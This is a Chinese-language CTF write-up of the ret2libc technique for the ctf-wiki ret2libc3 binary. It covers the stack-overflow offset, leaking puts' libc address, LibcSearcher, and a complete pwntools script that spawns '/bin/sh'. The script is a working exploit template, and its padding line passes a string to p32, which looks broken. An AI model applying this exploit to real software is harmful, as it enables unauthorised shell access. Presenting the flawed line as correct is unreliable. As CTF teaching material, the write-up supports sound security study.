基本特征:程序开启了NX不可执行保护,无法执行我们注入的 shellcode
漏洞原理:在栈溢出的基础上,改变返回地址到某个函数的 plt 处,或者某个函数的具体位置(函数对应 got 表项的内容),改变寄存器的参数,达到执行system('/bin/sh')
的目的
若程序提供了system()
函数,我们可以直接选择返回到 plt 处,让它帮我们找到并执行函数,但是一般都没有这等好事。所以这个时候,我们就要利用ELF文件执行时的动态链接和延时绑定,也就是说 got 表泄露的是已经执行过的函数的地址。所以我们的第一次sendline()
是用来获取某个已执行函数的真实地址,再利用工具LibcSearcher
来获取 libc 版本,计算出 libc 的基址,再计算出 libc 中的 system 和 /bin/sh 的地址
工具: LibcSearcher
例题: ctf-wiki_basic rop_ret2libc3
没有后门函数
checksec
发现开启了NX保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
通过ida查看伪代码发现明显的溢出点gets()
同时我们还可以让puts()
函数,作为输出函数,执行后泄露出自己真实的地址
再通过gdb
得到栈空间为112
原理图如下,第一次发送payload,利用puts()
函数泄露出自己的真实地址,再返回到_start()
函数(程序的真正入口,方便再次执行system('/bin/sh')
)
通过泄露出的puts()
的 got
地址算出 system
和 /bin/sh
的地址,再次利用gets()
覆盖泄露出的 system 的地址
exp:
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
payload1='A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1) #第一次溢出
puts_addr=u32(p.recv(4)) #泄露地址
libc=LibcSearcher('puts',puts_addr) #获取libc版本号
libcbase=puts_addr-libc.dump("puts") #计算基址
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload2='A'*112+p32(system_addr)+p32('AriSan')+p32(binsh_addr) #第二次溢出
p.sendlineafter("!?",payload2)
p.interactive()